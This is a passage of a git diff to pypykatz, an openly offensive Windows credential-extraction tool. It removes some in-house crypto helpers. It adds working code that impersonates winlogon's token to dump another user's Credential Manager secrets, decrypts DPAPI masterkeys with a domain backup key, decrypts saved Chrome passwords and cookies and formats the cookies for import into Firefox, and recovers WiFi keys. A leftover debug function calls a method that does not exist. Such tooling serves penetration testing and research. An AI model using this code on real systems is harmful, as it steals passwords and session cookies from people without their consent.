-        print('auth_tag original: %s' % auth_tag.to_bytes(16, byteorder='big', signed=False).hex())
-        # print 'GHASH\t', hex(auth_tag)
-        auth_tag ^= bytes_to_long(self.__aes_ecb.encrypt(
-                                  long_to_bytes((init_value << 32) | 1, 16)))
-
-        # assert len(ciphertext) == len(plaintext)
-        assert auth_tag < (1 << 128)
-        return ciphertext, auth_tag
-
-    def decrypt(self, init_value, ciphertext, auth_tag, auth_data=b''):
-        if init_value >= (1 << 96):
-            raise InvalidInputException('IV should be 96-bit')
-        if auth_tag >= (1 << 128):
-            raise InvalidInputException('Tag should be 128-bit')
-            
-        print(long_to_bytes((init_value << 32) | 1, 16))
-        print(self.__aes_ecb.encrypt(long_to_bytes((init_value << 32) | 1, 16)))
-        print('ghash %s' % self.__ghash(auth_data, ciphertext))
-        print('')
-        if auth_tag != self.__ghash(auth_data, ciphertext) ^ \
-                bytes_to_long(self.__aes_ecb.encrypt(
-                long_to_bytes((init_value << 32) | 1, 16))):
-            raise InvalidTagException
-
-        len_ciphertext = len(ciphertext)
-        if len_ciphertext > 0:
-            counter = Counter.new(
-                nbits=32,
-                prefix=long_to_bytes(init_value, 12),
-                initial_value=2,
-                allow_wraparound=True)
-            aes_ctr = AES.new(self.__master_key, AES.MODE_CTR, counter=counter)
-
-            if 0 != len_ciphertext % 16:
-                padded_ciphertext = ciphertext + \
-                    b'\x00' * (16 - len_ciphertext % 16)
-            else:
-                padded_ciphertext = ciphertext
-            plaintext = aes_ctr.decrypt(padded_ciphertext)[:len_ciphertext]
-
-        else:
-            plaintext = b''
-
-        return plaintext
-
-
-if __name__ == '__main__':
-    master_key = 0xfeffe9928665731c6d6a8f9467308308
-    plaintext = b'\xd9\x31\x32\x25\xf8\x84\x06\xe5' + \
-                b'\xa5\x59\x09\xc5\xaf\xf5\x26\x9a' + \
-                b'\x86\xa7\xa9\x53\x15\x34\xf7\xda' + \
-                b'\x2e\x4c\x30\x3d\x8a\x31\x8a\x72' + \
-                b'\x1c\x3c\x0c\x95\x95\x68\x09\x53' + \
-                b'\x2f\xcf\x0e\x24\x49\xa6\xb5\x25' + \
-                b'\xb1\x6a\xed\xf5\xaa\x0d\xe6\x57' + \
-                b'\xba\x63\x7b\x39'
-    auth_data = b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
-                b'\xfe\xed\xfa\xce\xde\xad\xbe\xef' + \
-                b'\xab\xad\xda\xd2'
-    init_value = 0xcafebabefacedbaddecaf888
-    ciphertext = b'\x42\x83\x1e\xc2\x21\x77\x74\x24' + \
-                 b'\x4b\x72\x21\xb7\x84\xd0\xd4\x9c' + \
-                 b'\xe3\xaa\x21\x2f\x2c\x02\xa4\xe0' + \
-                 b'\x35\xc1\x7e\x23\x29\xac\xa1\x2e' + \
-                 b'\x21\xd5\x14\xb2\x54\x66\x93\x1c' + \
-                 b'\x7d\x8f\x6a\x5a\xac\x84\xaa\x05' + \
-                 b'\x1b\xa3\x0b\x39\x6a\x0a\xac\x97' + \
-                 b'\x3d\x58\xe0\x91'
-    auth_tag = 0x5bc94fbc3221a5db94fae95ae7121a47
-
-    print('plaintext:', hex(bytes_to_long(plaintext)))
-
-    my_gcm = AES_GCM(master_key)
-    encrypted, new_tag = my_gcm.encrypt(init_value, plaintext, auth_data)
-    print('encrypted:', hex(bytes_to_long(encrypted)))
-    print('auth tag: ', hex(new_tag))
-
-    try:
-        decrypted = my_gcm.decrypt(init_value, encrypted,
-                new_tag + 1, auth_data)
-    except InvalidTagException:
-        decrypted = my_gcm.decrypt(init_value, encrypted, new_tag, auth_data)
-        print('decrypted:', hex(bytes_to_long(decrypted)))
-
diff --git a/pypykatz/crypto/unified/pbkdf2.py b/pypykatz/crypto/unified/pbkdf2.py
deleted file mode 100644
index 2d6a20c..0000000
--- a/pypykatz/crypto/unified/pbkdf2.py
+++ /dev/null
@@ -1,45 +0,0 @@
-
-#https://codereview.stackexchange.com/questions/87538/python-pbkdf2-using-core-modules
-import hmac
-import struct
-import hashlib
-
-def pbkdf2(password, salt, iters, keylen, digestmod = hashlib.sha1):
-	"""Run the PBKDF2 (Password-Based Key Derivation Function 2) algorithm
-	and return the derived key. The arguments are:
-
-	password (bytes or bytearray) -- the input password
-	salt (bytes or bytearray) -- a cryptographic salt
-	iters (int) -- number of iterations
-	keylen (int) -- length of key to derive
-	digestmod -- a cryptographic hash function: either a module
-		supporting PEP 247, a hashlib constructor, or (in Python 3.4
-		or later) the name of a hash function.
-
-	For example:
-
-	>>> import hashlib
-	>>> from binascii import hexlify, unhexlify
-	>>> password = b'Squeamish Ossifrage'
-	>>> salt = unhexlify(b'1234567878563412')
-	>>> hexlify(pbkdf2(password, salt, 500, 16, hashlib.sha1))
-	b'9e8f1072bdf5ef042bd988c7da83e43b'
-
-	"""
-	h = hmac.new(password, digestmod=digestmod)
-	def prf(data):
-		hm = h.copy()
-		hm.update(data)
-		return bytearray(hm.digest())
-
-	key = bytearray()
-	i = 1
-	while len(key) < keylen:
-		T = U = prf(salt + struct.pack('>i', i))
-		for _ in range(iters - 1):
-			U = prf(U)
-			T = bytearray(x ^ y for x, y in zip(T, U))
-		key += T
-		i += 1
-
-	return key[:keylen]
\ No newline at end of file
diff --git a/pypykatz/crypto/unified/pkcs7.py b/pypykatz/crypto/unified/pkcs7.py
deleted file mode 100644
index 1a7a6e1..0000000
--- a/pypykatz/crypto/unified/pkcs7.py
+++ /dev/null
@@ -1,26 +0,0 @@
-
-
-# https://gist.github.com/adoc/8550490
-def unpad(bytestring, k=16):
-    """
-    Remove the PKCS#7 padding from a text bytestring.
-    """
-
-    val = bytestring[-1]
-    if val > k:
-        raise ValueError('Input is not padded or padding is corrupt')
-    l = len(bytestring) - val
-    return bytestring[:l]
-
-
-## @param bytestring    The text to encode.
-## @param k             The padding block size.
-# @return bytestring    The padded bytestring.
-def pad(bytestring, k=16):
-    """
-    Pad an input bytestring according to PKCS#7
-    
-    """
-    l = len(bytestring)
-    val = k - (l % k)
-    return bytestring + bytearray([val] * val)
\ No newline at end of file
diff --git a/pypykatz/dpapi/cmdhelper.py b/pypykatz/dpapi/cmdhelper.py
index 418cbef..3874465 100644
--- a/pypykatz/dpapi/cmdhelper.py
+++ b/pypykatz/dpapi/cmdhelper.py
@@ -2,6 +2,12 @@ from pypykatz.commons.common import UniversalEncoder, hexdump
 import argparse
 import platform
 
+from pypykatz.dpapi.structures.blob import DPAPI_BLOB
+from pypykatz.dpapi.structures.credentialfile import CredentialFile
+from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile
+from pypykatz.dpapi.structures.vault import VAULT_VPOL
+from winacl.dtyp.wcee.pvkfile import PVKFile
+
 
 class DPAPICMDHelper:
 	def __init__(self):
@@ -45,6 +51,11 @@ class DPAPICMDHelper:
 		live_wifi_parser = live_dpapi_subparsers.add_parser('wifi', help = '[ADMIN ONLY] Decrypt stored WIFI passwords')
 		live_chrome_parser = live_dpapi_subparsers.add_parser('chrome', help = '[ADMIN ONLY] !TAKES SUPER-LONG! Decrypt all chrome passwords for all users (admin) or for the current user.')
 
+		live_tcap_parser = live_dpapi_subparsers.add_parser('tcap', help = '[ADMIN ONLY] Obtains users stored DPAPI creds via SeTrustedCredmanAccessPrivilege')
+		live_tcap_parser.add_argument('targetpid', type=int, help= 'PID of the process of the target user.')
+		live_tcap_parser.add_argument('--source', default = 'winlogon.exe', help= 'A process that has SeTrustedCredmanAccessPrivilege')
+		live_tcap_parser.add_argument('--tempfile', help= 'PID of the process of the target user')
+		live_tcap_parser.add_argument('-o', '--outfile', help= 'Output file name')
 
 		live_parser.add_parser('dpapi', help='DPAPI (live) related commands. This will use winAPI to decrypt secrets using the current user context.', parents=[live_subcommand_parser])
 		
@@ -89,6 +100,11 @@ class DPAPICMDHelper:
 		dpapi_masterkey_group.add_argument('prekey', help= 'Path to prekey file, which has multiple decryption key candidates')
 		dpapi_masterkey_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
 
+		dpapi_masterkeypvk_group = dpapi_subparsers.add_parser('masterkeypvk', help='Decrypt masterkey file with PVK file')
+		dpapi_masterkeypvk_group.add_argument('masterkeyfile', help='path to masterkey file')
+		dpapi_masterkeypvk_group.add_argument('pvkfile', help= 'Path to prekey file, which has multiple decryption key candidates')
+		dpapi_masterkeypvk_group.add_argument('-o', '--out-file', help= 'Master and Backup keys will be stored in this file. Easier to handle in other commands.')
+
 
 		dpapi_credential_group = dpapi_subparsers.add_parser('credential', help='Decrypt credential file')
 		dpapi_credential_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
@@ -111,6 +127,21 @@ class DPAPICMDHelper:
 		dpapi_blob_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
 		dpapi_blob_group.add_argument('blob', help='path to blob file (hex data expected!), or the blob in hex form')
 
+		dpapi_chrome_group = dpapi_subparsers.add_parser('chrome', help='Decrypt Google Chrome secrets')
+		dpapi_chrome_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
+		dpapi_chrome_group.add_argument('localstate', help='Local State file')
+		dpapi_chrome_group.add_argument('--logindata', help='Login Data file')
+		dpapi_chrome_group.add_argument('--cookies', help='Cookies file')
+
+		dpapi_wifi_group = dpapi_subparsers.add_parser('wifi', help='Decrypt Windows WIFI config file')
+		dpapi_wifi_group.add_argument('mkf', help= 'Keyfile generated by the masterkey -o command.')
+		dpapi_wifi_group.add_argument('wifixml', help='WIFI config XML file')
+
+		dpapi_describe_group = dpapi_subparsers.add_parser('describe', help='Print information on given structure')
+		dpapi_describe_group.add_argument('datatype', choices = ['blob', 'masterkey', 'pvk', 'vpol', 'credential'], help= 'Type of structure')
+		dpapi_describe_group.add_argument('data', help='filepath or hex-encoded data')
+
+
 	def execute(self, args):
 		if len(self.keywords) > 0 and args.command in self.keywords:
 			self.run(args)
@@ -144,10 +175,10 @@ class DPAPICMDHelper:
 				dpapi.get_prekeys_from_password(args.sid, password = pw)
 			
 			elif args.prekey_command == 'nt':
-				if args.nt is None or args.sid is None:
+				if args.nthash is None or args.sid is None:
 					raise Exception('NT hash and SID must be specified for generating prekey in this mode')
 
-				dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nt)
+				dpapi.get_prekeys_from_password(args.sid, nt_hash = args.nthash)
 
 
 			dpapi.dump_pre_keys(args.out_file)
@@ -159,19 +190,27 @@ class DPAPICMDHelper:
 			
 			dpapi.get_masterkeys_from_lsass_dump(args.minidumpfile)
 			dpapi.dump_masterkeys(args.out_file)
-			dpapi.dump_pre_keys(args.out_file + '_prekeys')
+			if args.out_file is not None:
+				dpapi.dump_pre_keys(args.out_file + '_prekeys')
+			else:
+				dpapi.dump_pre_keys()
 
 
 		elif args.dapi_module == 'masterkey':
-			if args.key is None and args.prekey is None:
+			if args.prekey is None:
 				raise Exception('Etieher KEY or path to prekey file must be supplied!')
 
-			if args.prekey:
-				dpapi.load_prekeys(args.prekey)
-				dpapi.decrypt_masterkey_file(args.mkf)
+			dpapi.load_prekeys(args.prekey)
+			dpapi.decrypt_masterkey_file(args.masterkeyfile)
+			
+			if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
+				print('Failed to decrypt the masterkeyfile!')
+				return
 
-			if args.key:
-				dpapi.decrypt_masterkey_file(args.mkf, bytes.fromhex(args.key))
+			dpapi.dump_masterkeys(args.out_file)
+
+		elif args.dapi_module == 'masterkeypvk':
+			dpapi.decrypt_masterkey_file_with_pvk(args.masterkeyfile, args.pvkfile)
 			
 			if len(dpapi.masterkeys) == 0 and len(dpapi.backupkeys) == 0:
 				print('Failed to decrypt the masterkeyfile!')
@@ -179,6 +218,7 @@ class DPAPICMDHelper:
 
 			dpapi.dump_masterkeys(args.out_file)
 
+
 		elif args.dapi_module == 'credential':
 			dpapi.load_masterkeys(args.mkf)
 			cred_blob = dpapi.decrypt_credential_file(args.cred)
@@ -223,22 +263,87 @@ class DPAPICMDHelper:
 			dpapi.load_masterkeys(args.mkf)
 				
 			try:
-				bytes.fromhex(args.securestring)
+				bytes.fromhex(args.blob)
 			except Exception as e:
 				print('Error! %s' %e)
-				dec_sec = dpapi.decrypt_securestring_file(args.securestring)
+				dec_sec = dpapi.decrypt_securestring_file(args.blob)
 			else:
-				dec_sec = dpapi.decrypt_securestring_hex(args.securestring)
+				dec_sec = dpapi.decrypt_securestring_hex(args.blob)
 			
 			print('HEX: %s' % dec_sec.hex())
 			print('STR: %s' % dec_sec.decode('utf-16-le'))
-
 		
+		elif args.dapi_module == 'chrome':
+			dpapi.load_masterkeys(args.mkf)
+			db_paths = {}
+			db_paths['pypykatz'] = {}
+			db_paths['pypykatz']['localstate'] = args.localstate
+			if args.cookies is not None:
+				db_paths['pypykatz']['cookies'] = args.cookies
+			if args.logindata is not None:
+				db_paths['pypykatz']['logindata'] = args.logindata
+			
+			res = dpapi.decrypt_all_chrome(db_paths, throw=False)
+			for file_path, url, user, password in res['logins']:
+				print('file: %s user: %s pass: %s url: %s' % (file_path, user, password, url))
+			for file_path, host_key, name, path, value in res['cookies']:
+				print('file: %s host_key: %s name: %s path: %s value: %s' % (file_path, host_key, name, path, value))
+
+		elif args.dapi_module == 'wifi':
+			dpapi.load_masterkeys(args.mkf)
+			wificonfig_enc = DPAPI.parse_wifi_config_file(args.wifixml)
+			wificonfig = dpapi.decrypt_wifi_config_file_inner(wificonfig_enc)
+			print('%s : %s' % (wificonfig['name'], wificonfig['key']))
+
+		elif args.dapi_module == 'describe':
+			def read_file_or_hex(x):
+				data = None
+				try:
+					with open(x, 'rb') as f:
+						data=f.read()
+				except:
+					data = bytes.fromhex(x)
+				return data
+
+			try:
+				data = read_file_or_hex(args.data)
+			except:
+				raise Exception('Could not load data!')
+			if args.datatype.upper() == 'BLOB':
+				res = DPAPI_BLOB.from_bytes(data)
+			elif args.datatype.upper() == 'MASTERKEY':
+				res = MasterKeyFile.from_bytes(data)
+			elif args.datatype.upper() == 'VPOL':
+				res = VAULT_VPOL.from_bytes(data)
+			elif args.datatype.upper() == 'PVK':
+				res = PVKFile.from_bytes(data)
+			elif args.datatype.upper() == 'CREDENTIAL':
+				res = CredentialFile.from_bytes(data)
+			else:
+				raise Exception('Unknown data format %s' % args.datatype)
+			print(str(res))
 
 	def run_live(self, args):
 		if platform.system().lower() != 'windows':
 			raise Exception('Live commands only work on Windows!')
 
+		if args.livedpapicommand == 'tcap':
+			from pypykatz.dpapi.extras import dpapi_trustedcredman
+
+			rawdata, creds, err = dpapi_trustedcredman(args.targetpid, args.source, args.tempfile)
+			if err is not None:
+				print(err)
+				return
+
+			if args.outfile is not None:
+				with open(args.outfile, 'w') as f:
+					for cred in creds:
+						f.write(cred.to_text() + '\r\n')
+			else:
+				for cred in creds:
+					print(cred.to_text())			
+			return
+
 		from pypykatz.dpapi.dpapi import DPAPI	
 		dpapi = DPAPI(use_winapi=True)
 
diff --git a/pypykatz/dpapi/constants.py b/pypykatz/dpapi/constants.py
index 4f4cdd2..68bfe68 100644
--- a/pypykatz/dpapi/constants.py
+++ b/pypykatz/dpapi/constants.py
@@ -4,11 +4,10 @@ import enum
 # https://doxygen.reactos.org/d7/d4a/wincrypt_8h.html
 # impacket dpapi.py
 
-from hashlib import sha1 as SHA1
-from hashlib import sha512 as SHA512
-from pypykatz.crypto.unified.aes import AES
-from pypykatz.crypto.unified.des3 import DES3
-from pypykatz.crypto.unified.common import SYMMETRIC_MODE
+from unicrypto.hashlib import sha1 as SHA1
+from unicrypto.hashlib import sha512 as SHA512
+from unicrypto.symmetric import AES, MODE_CBC
+from unicrypto.symmetric import TDES as DES3
 
 
 # Algorithm classes
@@ -152,9 +151,9 @@ ALGORITHMS_DATA = {
     # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize
     ALGORITHMS.CALG_SHA: (160//8, SHA1, None, None, 512//8),
     ALGORITHMS.CALG_HMAC: (160//8, SHA512, None, None, 512//8),
-    ALGORITHMS.CALG_3DES: (192//8, DES3, SYMMETRIC_MODE.CBC, 64//8),
+    ALGORITHMS.CALG_3DES: (192//8, DES3, MODE_CBC, 64//8),
     ALGORITHMS.CALG_SHA_512: (128//8, SHA512, None, None, 1024//8),
-    ALGORITHMS.CALG_AES_256: (256//8, AES, SYMMETRIC_MODE.CBC,128//8), #CBC is already in the object...
+    ALGORITHMS.CALG_AES_256: (256//8, AES, MODE_CBC,128//8), #CBC is already in the object...
 }
 	
 	
diff --git a/pypykatz/dpapi/dpapi.py b/pypykatz/dpapi/dpapi.py
index de56ccf..624654c 100644
--- a/pypykatz/dpapi/dpapi.py
+++ b/pypykatz/dpapi/dpapi.py
@@ -2,18 +2,22 @@
 #
 # Author:
 #  Tamas Jos (@skelsec)
+# 
+# Kudos:
+#  Processus Thief (@ProcessusT)
+#
 #
 
 import os
 import ntpath
 import json
 import hmac
-import hashlib
 import glob
 import sqlite3
 import base64
 import platform
 from hashlib import sha1, pbkdf2_hmac
+
 import xml.etree.ElementTree as ET
 
 from pypykatz import logger
@@ -21,12 +25,15 @@ from pypykatz.dpapi.structures.masterkeyfile import MasterKeyFile
 from pypykatz.dpapi.structures.credentialfile import CredentialFile, CREDENTIAL_BLOB
 from pypykatz.dpapi.structures.blob import DPAPI_BLOB
 from pypykatz.dpapi.structures.vault import VAULT_VCRD, VAULT_VPOL, VAULT_VPOL_KEYS
-
-from pypykatz.crypto.unified.aes import AES
-from pypykatz.crypto.unified.aesgcm import AES_GCM
-from pypykatz.crypto.unified.common import SYMMETRIC_MODE
+from unicrypto.hashlib import md4 as MD4
+from unicrypto.symmetric import AES, MODE_GCM, MODE_CBC
+from winacl.dtyp.wcee.pvkfile import PVKFile
 from pypykatz.commons.common import UniversalEncoder
 
+
+from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15
+
+
 if platform.system().lower() == 'windows':
 	from pypykatz.commons.winapi.processmanipulator import ProcessManipulator
 
@@ -112,10 +119,17 @@ class DPAPI:
 					f.write(x.hex() + '\r\n')
 
 	def load_prekeys(self, filename):
-		with open(filename, 'r') as f:
-			for line in f:
-				line = line.strip()
-				self.prekeys[bytes.fromhex(line)] = 1
+		try:
+			open(filename, 'r')
+		except Exception as e:
+			key = bytes.fromhex(filename)
+			self.prekeys[key] = 1
+			return
+		else:
+			with open(filename, 'r') as f:
+				for line in f:
+					line = line.strip()
+					self.prekeys[bytes.fromhex(line)] = 1
 
 	def dump_masterkeys(self, filename = None):
 		if filename is None:
@@ -158,9 +172,9 @@ class DPAPI:
 			key1 = None
 		
 		if password or password == '':
-			md4 = hashlib.new('md4')
-			md4.update(password.encode('utf-16le'))
-			nt_hash = md4.digest()
+			ctx = MD4(password.encode('utf-16le'))
+			nt_hash = ctx.digest()
+
 			# Will generate two keys, one with SHA1 and another with MD4
 			key1 = hmac.new(sha1(password.encode('utf-16le')).digest(), (sid + '\0').encode('utf-16le'), sha1).digest()
 		
@@ -328,6 +342,20 @@ class DPAPI:
 					self.prekeys[bytes.fromhex(shahex)] = 1
 				
 		return self.masterkeys
+
+	def decrypt_masterkey_file_with_pvk(self, mkffile, pvkfile):
+		"""
+		Decrypting the masterkeyfile using the domain backup key in .pvk format
+		"""
+		with open(mkffile, 'rb') as fp:
+			data = fp.read()
+		mkf = MasterKeyFile.from_bytes(data)
+		dk = mkf.domainkey.secret
+		privkey = PVKFile.from_file(pvkfile).get_key()
+		decdk = privkey.decrypt(dk[::-1], PKCS1v15())
+		secret = decdk[8:72] # TODO: proper file format would be good here!!!
+		self.masterkeys[mkf.guid] = secret
+		return self.masterkeys
 			
 	def decrypt_masterkey_file(self, file_path, key = None):
 		"""
@@ -347,7 +375,6 @@ class DPAPI:
 		returns: touple of dictionaries. [0] - > masterkey[guid] = key, [1] - > backupkey[guid] = key
 		"""
 		mkf = MasterKeyFile.from_bytes(data)
-		
 		mks = {}
 		bks = {}
 		if mkf.masterkey is not None:
@@ -478,9 +505,9 @@ class DPAPI:
 		def decrypt_attr(attr, key):
 			if attr.data is not None:
 				if attr.iv is not None:
-					cipher = AES(key, SYMMETRIC_MODE.CBC, iv=attr.iv)
+					cipher = AES(key, MODE_CBC, attr.iv)
 				else:
-					cipher = AES(key, SYMMETRIC_MODE.CBC, iv=b'\x00'*16)
+					cipher = AES(key, MODE_CBC, b'\x00'*16)
 				
 				cleartext = cipher.decrypt(attr.data)
 				return cleartext
@@ -632,7 +659,7 @@ class DPAPI:
 		return db_paths
 	
 	@staticmethod
-	def get_chrome_encrypted_secret(db_path):
+	def get_chrome_encrypted_secret(db_path, dbtype):
 		results = {}
 		results['logins'] = []
 		results['cookies'] = []
@@ -645,7 +672,7 @@ class DPAPI:
 			logger.debug('Failed to open chrome DB file %s' % db_path)
 			return results
 		
-		if ntpath.basename(db_path).lower() == 'cookies':
+		if dbtype.lower() == 'cookies':
 			try:
 				#totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
 				cursor.execute('SELECT host_key, name, path, encrypted_value FROM cookies')
@@ -656,7 +683,7 @@ class DPAPI:
 			for host_key, name, path, encrypted_value in cursor.fetchall():
 				results['cookies'].append((host_key, name, path, encrypted_value))
 
-		elif ntpath.basename(db_path).lower() == 'login data':
+		elif dbtype.lower() == 'logindata':
 
 			try:
 				#totally not stolen from here https://github.com/byt3bl33d3r/chrome-decrypter/blob/master/chrome_decrypt.py
@@ -671,40 +698,63 @@ class DPAPI:
 		return results
 		
 	def decrypt_all_chrome_live(self):
+		dbpaths = DPAPI.find_chrome_database_file_live()
+		return self.decrypt_all_chrome(dbpaths)
+		
+		
+	def decrypt_all_chrome(self, dbpaths, throw = False):
+		from unicrypto import use_library, get_cipher_by_name
+		AES = get_cipher_by_name('AES', 'cryptography')
+
 		results = {}
 		results['logins'] = []
 		results['cookies'] = []
+		results['fmtcookies'] = []
 		localstate_dec = None
 
-		dbpaths = DPAPI.find_chrome_database_file_live()
 		for username in dbpaths:
 			if 'localstate' in dbpaths[username]:
 				with open(dbpaths[username]['localstate'], 'r') as f:
 					encrypted_key = json.load(f)['os_crypt']['encrypted_key']
 					encrypted_key = base64.b64decode(encrypted_key)
 				
-				localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
-
+				try:
+					localstate_dec = self.decrypt_blob_bytes(encrypted_key[5:])
+				except:
+					if throw is True:
+						raise Exception('LocalState decryption failed!')
+					# this localstate was encrypted for another user...
+					continue
 			if 'cookies' in dbpaths[username]:
-				secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'])
+				secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['cookies'], 'cookies')
 				for host_key, name, path, encrypted_value in secrets['cookies']:
 					if encrypted_value.startswith(b'v10'):
 						nonce = encrypted_value[3:3+12]
 						ciphertext = encrypted_value[3+12:-16]
 						tag = encrypted_value[-16:]
-						cipher = AES_GCM(localstate_dec)
-						dec_val = cipher.decrypt(nonce, ciphertext, tag, auth_data=b'') 
+						cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16)
+						dec_val = cipher.decrypt(ciphertext, b'', tag)
 						results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
+						results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val))
 					else:
 						dec_val = self.decrypt_blob_bytes(encrypted_value)
 						results['cookies'].append((dbpaths[username]['cookies'], host_key, name, path, dec_val ))
+						results['fmtcookies'].append(DPAPI.cookieformatter('https://' + host_key, name, path, dec_val))
 
 			if 'logindata' in dbpaths[username]:
-				secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'])
+				secrets = DPAPI.get_chrome_encrypted_secret(dbpaths[username]['logindata'], 'logindata')
 				for url, user, enc_password in secrets['logins']:
-					password = self.decrypt_blob_bytes(enc_password)
-					results['logins'].append((dbpaths[username]['logindata'], url, user, password ))
-				
+					if enc_password.startswith(b'v10'):
+						nonce = enc_password[3:3+12]
+						ciphertext = enc_password[3+12:-16]
+						tag = enc_password[-16:]
+						cipher = AES(localstate_dec, MODE_GCM, IV=nonce, segment_size = 16)
+						password = cipher.decrypt(ciphertext, b'', tag)
+						results['logins'].append((dbpaths[username]['logindata'], url, user, password))
+					
+					else:
+						password = self.decrypt_blob_bytes(enc_password)
+						results['logins'].append((dbpaths[username]['logindata'], url, user, password))
 				
 		return results
 		
@@ -768,13 +818,42 @@ class DPAPI:
 				raise Exception('Failed to obtain SYSTEM privileges! Are you admin? Error: %s' % e)
 			
 			for wificonfig in DPAPI.get_all_wifi_settings_live():
-				if 'enckey' in wificonfig and wificonfig['enckey'] != '':
-					wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey'])
-					yield wificonfig
+				yield self.decrypt_wifi_config_file_inner(wificonfig)
 
 		finally:
 			pm.dropsystem()
 
+	def decrypt_wifi_config_file_inner(self, wificonfig):
+		if 'enckey' in wificonfig and wificonfig['enckey'] != '':
+			wificonfig['key'] = self.decrypt_securestring_hex(wificonfig['enckey'])
+			return wificonfig
+	
+	def decrypt_wifi_config_file(self, configfile):
+		wificonfig = DPAPI.parse_wifi_config_file(configfile)
+		return self.decrypt_wifi_config_file_inner(wificonfig)
+	
+	@staticmethod
+	def cookieformatter(host, name, path, content):
+		"""This is the data format the 'Cookie Quick Manager' uses to load cookies in FireFox"""
+		return {
+			"Host raw": host,      #"https://.pkgs.org/",
+			"Name raw": name,      #"distro_id",
+			"Path raw": path,      #"/",
+			"Content raw": content,   # "196",
+			"Expires": "26-05-2022 21:06:29",       # "12-05-2022 15:59:48",
+			"Expires raw": "1653591989",   # "1652363988",
+			"Send for": "Any type of connection", #"Encrypted connections only",
+			"Send for raw": False,  #"true",
+			"HTTP only raw": False, #"false",
+			"SameSite raw": "lax", #"lax",
+			"This domain only": False, #"Valid for subdomains",
+			"This domain only raw": False, #"false",
+			"Store raw": "firefox-default", #"firefox-default",
+			"First Party Domain": "", #""
+		}
+
+
+
 # arpparse helper
 def prepare_dpapi_live(methods = [], mkf = None, pkf = None):
 	dpapi = DPAPI()
@@ -791,4 +870,14 @@ def prepare_dpapi_live(methods = [], mkf = None, pkf = None):
 	if 'lsass' in methods and 'all' not in methods:
 		dpapi.get_masterkeys_from_lsass_live()
 	
-	return dpapi
\ No newline at end of file
+	return dpapi
+
+def main():
+	mkffile = '/mnt/hgfs/!SHARED/feature/masterkeyfile - 170d0d57-e0ae-4877-bab6-6f5af49d3e8e'
+	pvkfile = '/mnt/hgfs/!SHARED/feature/pvkfile - ntds_capi_0_fdf0c850-73d3-48cf-86b6-6beb609206c3.keyx.rsa.pvk'
+	dpapi = DPAPI()
+	dpapi.decrypt_mkf_with_pvk(mkffile, pvkfile)
+
+
+if __name__ == '__main__':
+	main()
\ No newline at end of file
diff --git a/pypykatz/dpapi/extras.py b/pypykatz/dpapi/extras.py
new file mode 100644
index 0000000..878d1e2
--- /dev/null
+++ b/pypykatz/dpapi/extras.py
@@ -0,0 +1,69 @@
+# Thank you!
+# https://www.tiraniddo.dev/2021/05/dumping-stored-credentials-with.html
+
+import tempfile
+import os
+
+from pypykatz import logger
+from pypykatz.commons.winapi.local.function_defs.advapi32 import CredBackupCredentials
+from pypykatz.commons.readers.local.process import Process, PROCESS_QUERY_LIMITED_INFORMATION
+from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege, RtlAdjustPrivilege
+from pypykatz.commons.winapi.local.function_defs.advapi32 import SetThreadToken
+from pypykatz.dpapi.functiondefs.dpapi import CryptUnprotectData
+from pypykatz.dpapi.structures.credentialfile import CREDENTIAL_BLOB, CredentialFile
+
+
+def dpapi_trustedcredman(target_pid, special_process = 'winlogon.exe', temp_file_path = None):
+    dec_data = None
+    try:
+        if temp_file_path is None:
+            tf = tempfile.NamedTemporaryFile(delete=False)
+            temp_file_path = tf.name 
+            logger.debug('Temp file path: %s' % temp_file_path)
+            tf.close()
+
+        enable_debug_privilege()
+
+        ### opening winlogon and duplicating token, impersonating it, enabling SeTrustedCredmanAccessPrivilege
+        pwinlogon = Process(name = special_process, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True)
+        winlogon_token = pwinlogon.duplicate_token()
+        SetThreadToken(winlogon_token)
+        RtlAdjustPrivilege(31, thread_or_process=True) #SeTrustedCredmanAccessPrivilege = 31
+        
+        
+        ### opening target process, getting handle on its token
+        puserprocess = Process(pid=target_pid, access = PROCESS_QUERY_LIMITED_INFORMATION, open = True)
+        puserprocess_token = puserprocess.get_process_token()
+
+        ### magic happens here
+        CredBackupCredentials(puserprocess_token, temp_file_path)
+
+        ### opening encrypted cerentials file and decrypting it
+        with open(temp_file_path, 'rb') as f:
+            dec_data = CryptUnprotectData(f.read())
+
+
+        ### parsing decrypted credfile
+        results = []
+        xf = CredentialFile.from_bytes(dec_data)
+        blobsdata = xf.data
+        if xf.unk == 2:
+            res = CREDENTIAL_BLOB.from_bytes(blobsdata)
+            results.append(res)
+            blobsdata = blobsdata[res.size:]
+            while len(blobsdata) > 0:
+                res = CREDENTIAL_BLOB.from_bytes(blobsdata)
+                results.append(res)
+                blobsdata = blobsdata[res.size:]
+
+        return dec_data, results, None
+    except Exception as e:        
+        logger.debug('dpapi_trustedcredman err! %s' % e)
+        return dec_data, None, e
+    finally:
+        try:
+            os.unlink(temp_file_path)
+            logger.debug('Temp file removed')
+        except Exception as e:
+            logger.debug('Failed to remove temp file! %s' % str(e))
+            pass
\ No newline at end of file
diff --git a/pypykatz/dpapi/structures/blob.py b/pypykatz/dpapi/structures/blob.py
index e2c3f15..9e3c86e 100644
--- a/pypykatz/dpapi/structures/blob.py
+++ b/pypykatz/dpapi/structures/blob.py
@@ -13,7 +13,7 @@ import hmac
 
 from pypykatz.dpapi.constants import *
